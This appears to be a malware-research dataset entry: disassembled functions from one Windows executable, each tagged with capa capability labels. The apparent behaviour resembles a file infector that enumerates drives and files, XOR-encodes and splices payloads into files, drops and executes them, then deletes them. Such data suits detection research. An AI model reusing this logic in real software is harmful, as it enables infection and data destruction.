joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401bec
Capabilities:
Read file on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov ebp, edx
mov esi, eax
xor ebx, ebx
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push esi
call sub.Kernel32.dll_CreateFileW
mov edi, eax
cmp edi, 0xffffffff
je 0x401c50
push 0
lea eax, [esp + 8]
push eax
push 1
lea eax, [esp + 0xc]
push eax
push edi
call sub.Kernel32.dll_ReadFile
push edi
call sub.Kernel32.dll_CloseHandle
cmp byte [esp], 0x20
jae 0x401c45
mov edx, ebp
mov eax, esi
call fcn.00401a10
mov ebx, eax
jmp 0x401c50
mov edx, ebp
mov eax, esi
call fcn.00401810
mov ebx, eax
mov eax, ebx
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x401df4
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
mov ebx, eax
push 0x40
push 0x3000
push ebx
call sub.Kernel32.dll_lstrlenA
add eax, eax
push eax
push 0
call sub.Kernel32.dll_VirtualAlloc_1
mov esi, eax
push ebx
call sub.Kernel32.dll_lstrlenA
add eax, eax
push eax
push esi
push ebx
call sub.Kernel32.dll_lstrlenA
push eax
push ebx
push 0
push 0
call sub.Kernel32.dll_MultiByteToWideChar
mov eax, esi
pop esi
pop ebx
ret

Function at 0x401ef4
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
mov esi, eax
push 0x40
push 0x3000
push 0x410
push 0
call sub.Kernel32.dll_VirtualAlloc_1
mov ebx, eax
push 0xffffffffffffffff
movzx ecx, si
mov edx, ebx
xor eax, eax
call fcn.00401e84
test eax, eax
jne 0x401f2c
push 0x8000
push 0
push ebx
call sub.Kernel32.dll_VirtualFree_1
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x401f60
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebx
push esi
push edi
push ecx
mov esi, edx
push 0
push 0x86
push 3
push 0
push 1
push 0x80000000
push eax
call sub.Kernel32.dll_CreateFileW_1
mov ebx, eax
push 0
push ebx
call sub.Kernel32.dll_GetFileSize
mov dword [esi], eax
push 4
push 0x3000
mov eax, dword [esi]
push eax
push 0
call sub.Kernel32.dll_VirtualAlloc_1
mov edi, eax
push 0
push 0
push 0
push ebx
call sub.Kernel32.dll_SetFilePointer_1
push 0
lea eax, [esp + 4]
push eax
mov eax, dword [esi]
push eax
push edi
push ebx
call sub.Kernel32.dll_ReadFile_1
push ebx
call sub.Kernel32.dll_CloseHandle_1
mov eax, edi
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4020fc
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
push ebp
mov esi, ecx
mov ebp, edx
mov ebx, eax
push 0x40
push 0x3000
push esi
push 0
call sub.Kernel32.dll_VirtualAlloc_1
mov edi, eax
dec ebp
add ebx, ebp
mov ecx, esi
mov edx, ebx
mov eax, edi
call fcn.004020f4
mov eax, edi
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40212c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
push ebp
mov esi, ecx
mov ebp, edx
mov ebx, eax
push 0x40
push 0x3000
mov eax, esi
add eax, eax
push eax
push 0
call sub.Kernel32.dll_VirtualAlloc_1
mov edi, eax
dec ebp
mov eax, ebp
add eax, eax
add ebx, eax
mov ecx, esi
mov edx, ebx
mov eax, edi
call fcn.004020f4
mov eax, edi
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4021a4
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push ecx
mov ebx, eax
xor esi, esi
test bl, bl
jbe 0x4021ef
push 0x40
push 0x3000
xor eax, eax
mov al, bl
push eax
push 0
call sub.Kernel32.dll_VirtualAlloc_1
mov esi, eax
call fcn.004010bc
dec ebx
test bl, bl
jb 0x4021ef
inc ebx
mov byte [esp], 0
mov eax, 0x1a
call fcn.004010e4
add eax, 0x41
xor edx, edx
mov dl, byte [esp]
mov byte [esi + edx], al
inc byte [esp]
dec bl
jne 0x4021d3
mov eax, esi
pop edx
pop esi
pop ebx
ret

Function at 0x40224c
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
push edi
push ecx
mov edi, edx
mov esi, eax
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push ecx
call sub.Kernel32.dll_CreateFileW_1
mov ebx, eax
push 0
lea eax, [esp + 4]
push eax
push edi
push esi
push ebx
call sub.Kernel32.dll_WriteFile
push ebx
call sub.Kernel32.dll_CloseHandle_1
push 0x8000
push 0
push esi
call sub.Kernel32.dll_VirtualFree_1
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x402298
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
push ecx
mov esi, eax
test esi, esi
je 0x4022e2
push 0
push 0x80
push 4
push 0
push 3
push 0x40000000
push edx
call sub.Kernel32.dll_CreateFileW_1
mov ebx, eax
push 2
push 0
push 0
push ebx
call sub.Kernel32.dll_SetFilePointer_1
push 0
lea eax, [esp + 4]
push eax
push esi
call sub.Kernel32.dll_lstrlenA
push eax
push esi
push ebx
call sub.Kernel32.dll_WriteFile
push ebx
call sub.Kernel32.dll_CloseHandle_1
pop edx
pop esi
pop ebx
ret

Function at 0x4022e8
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov ebp, ecx
mov dword [esp], edx
mov edi, eax
push 4
push 0x3000
push 0x410
push 0
call sub.Kernel32.dll_VirtualAlloc_1
mov ebx, eax
push ebx
push 0x410
call sub.Kernel32.dll_GetTempPathW
push ebp
push ebx
call sub.Kernel32.dll_lstrcatW
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push ebx
call sub.Kernel32.dll_CreateFileW_1
mov esi, eax
push 0
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 8]
push eax
push edi
push esi
call sub.Kernel32.dll_WriteFile
push esi
call sub.Kernel32.dll_CloseHandle_1
push 0x8000
push 0
push edi
call sub.Kernel32.dll_VirtualFree_1
push 0x8000
push 0
push ebp
call sub.Kernel32.dll_VirtualFree_1
mov eax, ebx
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x402374
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov esi, ecx
mov ebp, edx
mov edi, eax
push 4
push 0x3000
push 0x410
push 0
call sub.Kernel32.dll_VirtualAlloc_1
mov ebx, eax
push ebx
push 0x410
call sub.Kernel32.dll_GetCurrentDirectoryW
push 0x4023f8
push ebx
call sub.Kernel32.dll_lstrcatW
push esi
push ebx
call sub.Kernel32.dll_lstrcatW
push 0
push 0x86
push 2
push 0
push 2
push 0x40000000
push esi
call sub.Kernel32.dll_CreateFileW_1
mov esi, eax
push 0
lea eax, [esp + 4]
push eax
push ebp
push edi
push esi
call sub.Kernel32.dll_WriteFile
push esi
call sub.Kernel32.dll_CloseHandle_1
push 0x8000
push 0
push edi
call sub.Kernel32.dll_VirtualFree_1
mov eax, ebx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4023fc
Capabilities:
Create process on windows

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffffa8
mov edi, edx
mov esi, eax
xor ebx, ebx
test esi, esi
je 0x402482
lea eax, [esp + 4]
mov edx, 0x44
call fcn.00401dec
mov dword [esp + 4], 0x44
lea eax, [esp + 0x48]
push eax
lea eax, [esp + 8]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push esi
call sub.Kernel32.dll_CreateProcessW
cmp eax, 1
sbb ebx, ebx
inc ebx
push 0x40248c
push edi
call sub.Kernel32.dll_lstrcmpW
test eax, eax
jne 0x402482
mov edx, esp
mov eax, esi
call fcn.00401f60
mov esi, eax
push 1
push 0
push 0
push esi
push 0x402498
push 0
call sub.Shell32.dll_ShellExecuteA
mov bl, 1
push 0x8000
push 0
push esi
call sub.Kernel32.dll_VirtualFree_1
mov eax, ebx
add esp, 0x58
pop edi
pop esi
pop ebx
ret

Function at 0x4024a0
Capabilities:
Encode data using xor

Disassembly:
cmp dword [eax], 0
je 0x4024b7
mov eax, dword [eax]
dec edx
test edx, edx
jb 0x4024b7
inc edx
xor byte [eax], 5
add byte [eax], 7
inc eax
dec edx
jne 0x4024ad
ret

Function at 0x4024b8
Capabilities:
Encode data using xor

Disassembly:
cmp dword [eax], 0
je 0x4024cf
mov eax, dword [eax]
dec edx
test edx, edx
jb 0x4024cf
inc edx
sub byte [eax], 7
xor byte [eax], 5
inc eax
dec edx
jne 0x4024c5
ret

Function at 0x402a24
Capabilities:
Get file size

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov edi, edx
mov esi, eax
push 0
push 0x86
push 3
push 0
push 1
push 0x80000000
push esi
call sub.Kernel32.dll_CreateFileW_1
mov ebx, eax
push 0
push ebx
call sub.Kernel32.dll_GetFileSize
mov dword [esp + 4], eax
push ebx
call sub.Kernel32.dll_CloseHandle_1
cmp dword [esp + 4], 0xc800
jbe 0x402b6f
cmp dword [esp + 4], 0x3200000
jae 0x402b6f
push 4
push 0x3000
push 0x10
push 0
call sub.Kernel32.dll_VirtualAlloc_1
mov dword [esp + 8], eax
push 0x402b78
mov eax, dword [esp + 0xc]
push eax
call sub.Kernel32.dll_lstrcpyA
lea eax, [esp + 8]
mov edx, 0x10
call fcn.004024b8
lea edx, [esp + 4]
mov eax, esi
call fcn.00401f60
mov dword [esp + 0xc], eax
cmp dword [esp + 0xc], 0
je 0x402b5e
mov edx, esp
mov eax, edi
call fcn.00401f60
mov edi, eax
push 4
push 0x3000
mov eax, dword [esp + 8]
add eax, 0x18
add eax, dword [esp + 0xc]
push eax
push 0
call sub.Kernel32.dll_VirtualAlloc_1
mov ebx, eax
mov ecx, dword [esp]
mov edx, edi
mov eax, ebx
call fcn.004020f4
mov ebp, ebx
mov eax, ebp
add eax, dword [esp]
inc eax
mov ecx, 0x10
mov edx, dword [esp + 8]
call fcn.004020f4
lea eax, [esp + 0xc]
mov edx, dword [esp + 4]
call fcn.004024a0
mov eax, ebp
add eax, dword [esp]
add eax, 0x11
mov ecx, dword [esp + 4]
mov edx, dword [esp + 0xc]
call fcn.004020f4
mov edx, dword [esp]
add edx, 0x18
add edx, dword [esp + 4]
mov ecx, esi
mov eax, ebx
call fcn.0040224c
push 0x8000
push 0
push edi
call sub.Kernel32.dll_VirtualFree_1
push 0x8000
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.Kernel32.dll_VirtualFree_1
push 0x8000
push 0
mov eax, dword [esp + 0x10]
push eax
call sub.Kernel32.dll_VirtualFree_1
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4042bc
Capabilities:
Allocate or change rwx memory
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffdb0
mov ebx, edx
mov ebp, eax
mov eax, esp
mov edx, 0x250
call fcn.00401dec
mov dword [esp], 0x86
push 0x40
push 0x3000
push ebp
call sub.Kernel32.dll_lstrlenW
add eax, 5
push eax
push 0
call sub.Kernel32.dll_VirtualAlloc_1
mov edi, eax
push ebp
push edi
call sub.Kernel32.dll_lstrcpyW
push 0x404430
push edi
call sub.Kernel32.dll_lstrcatW
push 0x40443c
push ebp
call sub.Kernel32.dll_lstrcatW
push 0
push 0
push 0
lea eax, [esp + 0xc]
push eax
push 0
push edi
call sub.Kernel32.dll_FindFirstFileExW
mov esi, eax
push 0x8000
push 0
push edi
call sub.Kernel32.dll_VirtualFree_1
cmp esi, 0xffffffff
je 0x404411
mov eax, dword [esp]
and eax, 0x10
cmp eax, 0x10
jne 0x4043bc
push 0x404440
lea eax, [esp + 0x30]
push eax
call sub.Kernel32.dll_lstrcmpW
test eax, eax
je 0x4043fc
push 0x404444
lea eax, [esp + 0x30]
push eax
call sub.Kernel32.dll_lstrcmpW
test eax, eax
je 0x4043fc
push ebp
call sub.Kernel32.dll_lstrlenW
mov edi, eax
lea eax, [esp + 0x2c]
push eax
call sub.Kernel32.dll_lstrlenW
add edi, eax
mov eax, edi
push 0x40
push 0x3000
push eax
push 0
call sub.Kernel32.dll_VirtualAlloc_1
mov edi, eax
push ebp
push edi
call sub.Kernel32.dll_lstrcpyW
lea eax, [esp + 0x2c]
push eax
push edi
call sub.Kernel32.dll_lstrcatW
mov edx, ebx
mov eax, edi
call fcn.004042bc
jmp 0x4043fc
push 0x40
push 0x3000
push ebp
call sub.Kernel32.dll_lstrlenW
mov edi, eax
lea eax, [esp + 0x34]
push eax
call sub.Kernel32.dll_lstrlenW
add edi, eax
push edi
push 0
call sub.Kernel32.dll_VirtualAlloc_1
mov edi, eax
push ebp
push edi
call sub.Kernel32.dll_lstrcpyW
lea eax, [esp + 0x2c]
push eax
push edi
call sub.Kernel32.dll_lstrcatW
mov edx, ebx
mov eax, edi
call fcn.00403a48
push esp
push esi
call sub.Kernel32.dll_FindNextFileW
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x40433f
push 0x8000
push 0
push ebp
call sub.Kernel32.dll_VirtualFree_1
push esi
call sub.Kernel32.dll_FindClose
add esp, 0x250
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x404494
Capabilities:
Check if file exists
Get file attributes

Disassembly:
add esp, 0xfffffdf4
push eax
lea eax, [esp + 4]
push eax
call sub.Kernel32.dll_lstrcpyW
push 0x4044d0
lea eax, [esp + 4]
push eax
call sub.Kernel32.dll_lstrcatW
push esp
call sub.Kernel32.dll_GetFileAttributesW
cmp eax, 0xffffffff
je 0x4044c3
test al, 0x10
jne 0x4044c7
xor eax, eax
jmp 0x4044c9
mov al, 1
add esp, 0x20c
ret
Function at 0x404504
Capabilities:
Get disk information

Disassembly:
push ebx
push esi
add esp, 0xfffffdf4
mov ebx, eax
push esp
push 0x20a
call sub.Kernel32.dll_GetLogicalDriveStringsW
mov esi, esp
jmp 0x404583
cmp ax, 0x41
jne 0x404528
mov word [esi], 0x50
test bl, bl
jne 0x40455e
push esi
call sub.Kernel32.dll_GetDriveTypeW
cmp eax, 1
je 0x40455e
push esi
call sub.Kernel32.dll_GetDriveTypeW
cmp eax, 5
je 0x40455e
push esi
call sub.Kernel32.dll_GetDriveTypeW
test eax, eax
je 0x40455e
mov eax, esi
call fcn.00404494
test al, al
jne 0x40455e
mov eax, esi
call fcn.0040444c
cmp bl, 1
jne 0x404580
push esi
call sub.Kernel32.dll_GetDriveTypeW
cmp eax, 5
je 0x404580
mov eax, esi
call fcn.00404494
test al, al
je 0x404580
mov eax, esi
call fcn.00404470
add esi, 8
mov ax, word [esi]
test ax, ax
jne 0x40451d
add esp, 0x20c
pop esi
pop ebx
ret

Function at 0x404594
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
mov ebx, eax
push ebx
call sub.Kernel32.dll_lstrlenW
sub eax, 4
mov edx, eax
add edx, edx
add ebx, edx
push 0x40
push 0x3000
push 0x10
push 0
call sub.Kernel32.dll_VirtualAlloc_1
mov esi, eax
push ebx
push esi
call sub.Kernel32.dll_lstrcpyW
mov eax, esi
pop esi
pop ebx
ret

Function at 0x4045c8
Capabilities:
Delete file

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff8
mov ebx, eax
mov al, 8
call fcn.004021a4
call fcn.00401df4
mov ecx, eax
xor edx, edx
xor eax, eax
call fcn.004022e8
mov esi, eax
push 0
push 0
push esi
push ebx
push 0
call fcn.004024d0
lea edx, [esp + 4]
mov eax, esi
call fcn.00401f60
mov edi, eax
mov eax, edi
call fcn.004021f8
mov ebx, eax
push 0x8000
push 0
push edi
call sub.Kernel32.dll_VirtualFree_1
test ebx, ebx
je 0x40466a
push 4
push 0x3000
push ebx
call sub.Kernel32.dll_lstrlenA
push eax
push 0
call sub.Kernel32.dll_VirtualAlloc_1
mov dword [esp], eax
push ebx
call sub.Kernel32.dll_lstrlenA
mov ecx, eax
mov edx, dword [esp]
mov eax, ebx
call fcn.00401170
mov edx, esp
xchg edx, eax
call fcn.004024b8
mov eax, dword [esp]
push eax
push ebx
call sub.Kernel32.dll_lstrcpyA
push 0x8000
push 0
mov eax, dword [esp + 8]
push eax
call sub.Kernel32.dll_VirtualFree_1
push esi
call sub.Kernel32.dll_DeleteFileW
push 0x8000
push 0
push esi
call sub.Kernel32.dll_VirtualFree_1
mov eax, ebx
pop ecx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x404688
Capabilities:
Delete file

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffe4
mov dword [esp], eax
mov bl, 1
mov eax, dword [esp]
push eax
call sub.Kernel32.dll_lstrlenA
mov edx, eax
mov eax, esp
call fcn.004024b8
mov eax, dword [esp]
call fcn.00401df4
lea edx, [esp + 0x14]
call fcn.004028f8
mov dword [esp + 0x10], eax
cmp byte [esp + 0x14], 0
jne 0x4046ec
push 0x8000
push 0
mov eax, dword [esp + 0x18]
push eax
call sub.Kernel32.dll_VirtualFree_1
mov eax, dword [esp]
push eax
call sub.Kernel32.dll_lstrlenA
mov edx, eax
mov eax, esp
call fcn.004024a0
xor ebx, ebx
jmp 0x4048b6
lea edx, [esp + 0xc]
mov eax, dword [0x407024]
call fcn.00401f60
mov dword [esp + 0x18], eax
lea eax, [esp + 0x18]
mov edx, dword [esp + 0xc]
call fcn.004024b8
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
call fcn.00401fc8
inc eax
jle 0x404758
push 0x8000
push 0
mov eax, dword [esp + 0x20]
push eax
call sub.Kernel32.dll_VirtualFree_1
push 0x8000
push 0
mov eax, dword [esp + 0x18]
push eax
call sub.Kernel32.dll_VirtualFree_1
mov eax, dword [esp]
push eax
call sub.Kernel32.dll_lstrlenA
mov edx, eax
mov eax, esp
call fcn.004024a0
jmp 0x4048b6
mov eax, dword [esp]
call fcn.00401df4
call fcn.004045c8
mov edi, eax
mov eax, dword [esp]
push eax
call sub.Kernel32.dll_lstrlenA
mov edx, eax
mov eax, esp
call fcn.004024a0
mov eax, dword [esp + 0x10]
push eax
call sub.Kernel32.dll_lstrlenA
mov edx, eax
lea eax, [esp + 0x10]
call fcn.004024a0
mov edx, dword [0x407024]
mov eax, dword [esp + 0x10]
call fcn.00402298
test edi, edi
je 0x404894
push edi
call sub.Kernel32.dll_lstrlenA
mov ecx, eax
mov edx, 0x4048c0
mov eax, edi
call fcn.00401fc8
test eax, eax
je 0x4047d9
push edi
call sub.Kernel32.dll_lstrlenA
mov ecx, eax
mov edx, 0x4048c8
mov eax, edi
call fcn.00401fc8
test eax, eax
jne 0x404894
mov eax, edi
call fcn.00401df4
call fcn.00404594
mov ebp, eax
mov al, 9
call fcn.004021a4
call fcn.00401df4
mov ecx, eax
xor edx, edx
xor eax, eax
call fcn.004022e8
mov esi, eax
push esi
call sub.Kernel32.dll_DeleteFileW
push 0
push 0
push esi
mov eax, edi
call fcn.00401df4
push eax
push 0
call fcn.004024d0
lea edx, [esp + 8]
mov eax, esi
call fcn.00401f60
mov dword [esp + 4], eax
cmp dword [esp + 8], 2
jbe 0x40486d
lea eax, [esp + 4]
mov edx, dword [esp + 8]
call fcn.004024b8
mov ecx, esi
mov edx, dword [esp + 8]
mov eax, dword [esp + 4]
call fcn.0040224c
mov edx, ebp
mov eax, esi
call fcn.004023fc
test al, al
je 0x40486d
push 0x3e8
call sub.Kernel32.dll_Sleep
push esi
call sub.Kernel32.dll_DeleteFileW
test eax, eax
je 0x404859
push 0x8000
push 0
push ebp
call sub.Kernel32.dll_VirtualFree_1
push 0x8000
push 0
push esi
call sub.Kernel32.dll_VirtualFree_1
push 0x8000
push 0
push edi
call sub.Kernel32.dll_VirtualFree_1
push 0x8000
push 0
mov eax, dword [esp + 0x20]
push eax
call sub.Kernel32.dll_VirtualFree_1
push 0x8000
push 0
mov eax, dword [esp + 0x18]
push eax
call sub.Kernel32.dll_VirtualFree_1
mov eax, ebx
add esp, 0x1c
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x404990
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff4
call fcn.004029fc
lea edx, [esp + 8]
call fcn.00401f60
mov edi, eax
push 4
push 0x3000
push 0x10
push 0
call sub.Kernel32.dll_VirtualAlloc_1
mov dword [esp + 4], eax
push 0x404a94
mov eax, dword [esp + 8]
push eax
call sub.Kernel32.dll_lstrcpyA
lea eax, [esp + 4]
mov edx, 0x10
call fcn.004024b8
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
mov eax, edi
call fcn.00401fc8
mov ebx, eax
cmp ebx, 1
jle 0x404a8c
lea eax, [ebx + 0x10]
mov esi, dword [esp + 8]
sub esi, eax
push 4
push 0x3000
push esi
push 0
call sub.Kernel32.dll_VirtualAlloc_1
mov dword [esp], eax
mov eax, edi
xor edx, edx
push edx
push eax
mov eax, ebx
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
add eax, 0x10
adc edx, 0
mov edx, eax
mov ecx, esi
mov eax, dword [esp]
call fcn.004020f4
mov eax, esp
mov edx, esi
call fcn.004024b8
mov ecx, 0x404aa8
mov edx, esi
mov eax, dword [esp]
call fcn.00402374
mov edx, 0x404ab4
call fcn.004012f4
push 1
push 0
push 0
push 0x404ab4
push 0x404ac0
push 0
call sub.Shell32.dll_ShellExecuteW
push 0x404ab4
call sub.Kernel32.dll_DeleteFileW
push 0x3e8
call sub.Kernel32.dll_Sleep
push 0x404aa8
call sub.Kernel32.dll_DeleteFileW
test eax, eax
je 0x404a74
add esp, 0xc
pop edi
pop esi
pop ebx
ret
Function at 0x404acc
Capabilities:
Create directory

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
call fcn.004029fc
lea edx, [esp + 4]
call fcn.00401f60
mov esi, eax
push 4
push 0x3000
push 0x10
push 0
call sub.Kernel32.dll_VirtualAlloc_1
mov dword [esp], eax
push 0x404c30
mov eax, dword [esp + 4]
push eax
call sub.Kernel32.dll_lstrcpyA
mov eax, esp
mov edx, 0x10
call fcn.004024b8
mov ecx, dword [esp + 4]
mov edx, dword [esp]
mov eax, esi
call fcn.00401fc8
cmp eax, 0xa
jle 0x404bbd
mov edi, eax
dec edi
push 4
push 0x3000
push edi
push 0
call sub.Kernel32.dll_VirtualAlloc_1
mov ebp, eax
mov ecx, edi
mov edx, esi
mov eax, ebp
call fcn.004020f4
mov ax, 0x1a
call fcn.00401ef4
mov ebx, eax
push 0x404c44
push ebx
call sub.Kernel32.dll_lstrcatW
push 0x404c48
push ebx
call sub.Kernel32.dll_lstrcatW
push 0
push ebx
call sub.Kernel32.dll_CreateDirectoryW
push 0x404c44
push ebx
call sub.Kernel32.dll_lstrcatW
push 0x404c54
push ebx
call sub.Kernel32.dll_lstrcatW
mov ecx, ebx
mov edx, edi
mov eax, ebp
call fcn.0040224c
call fcn.004029fc
mov edx, ebx
call fcn.0040199c
push 0x8000
push 0
push esi
call sub.Kernel32.dll_VirtualFree_1
push 0x8000
push 0
mov eax, dword [esp + 8]
push eax
call sub.Kernel32.dll_VirtualFree_1
jmp 0x404c27
mov ax, 0x1a
call fcn.00401ef4
mov ebx, eax
push 0x404c44
push ebx
call sub.Kernel32.dll_lstrcatW
push 0x404c48
push ebx
call sub.Kernel32.dll_lstrcatW
push 0
push ebx
call sub.Kernel32.dll_CreateDirectoryW
push 0x404c44
push ebx
call sub.Kernel32.dll_lstrcatW
push 0x404c54
push ebx
call sub.Kernel32.dll_lstrcatW
mov ecx, ebx
mov edx, dword [esp + 4]
mov eax, esi
call fcn.0040224c
push 0x8000
push 0
push esi
call sub.Kernel32.dll_VirtualFree_1
push 0x8000
push 0
mov eax, dword [esp + 8]
push eax
call sub.Kernel32.dll_VirtualFree_1
mov eax, ebx
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x404c68
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebx
push esi
add esp, 0xfffffff4
call fcn.00404acc
mov esi, eax
test esi, esi
je 0x404d08
mov byte [esp], 0xd
mov byte [esp + 1], 0x1d
mov byte [esp + 2], 0x2b
mov byte [esp + 3], 0x2e
mov byte [esp + 4], 0x34
mov byte [esp + 5], 0x42
mov byte [esp + 6], 0x5e
mov byte [esp + 7], 0x67
mov byte [esp + 8], 0x6e
mov byte [esp + 9], 0x79
call fcn.004010bc
mov ax, 7
call fcn.00401ef4
mov ebx, eax
push 0x404d10
push ebx
call sub.Kernel32.dll_lstrcatW
push 0x404d14
push ebx
call sub.Kernel32.dll_lstrcatW
push ebx
push 0
push 0x404d28
mov eax, 9
call fcn.004010e4
movzx eax, byte [esp + eax + 0xc]
push eax
push 0
mov edx, 0x404d40
xor ecx, ecx
mov eax, esi
call fcn.004013e0
push 0x8000
push 0
push ebx
call sub.Kernel32.dll_VirtualFree_1
add esp, 0xc
pop esi
pop ebx
ret

Function at 0x404d54
Capabilities:
Move file

Disassembly:
push ecx
push 4
call fcn.004029fc
push eax
call fcn.004029fc
lea edx, [esp + 8]
call fcn.00401f60
push eax
mov al, 0xc
call fcn.004021a4
call fcn.00401df4
mov ecx, eax
mov edx, dword [esp + 0xc]
pop eax
call fcn.004022e8
push eax
call sub.Kernel32.dll_MoveFileExW
pop edx
ret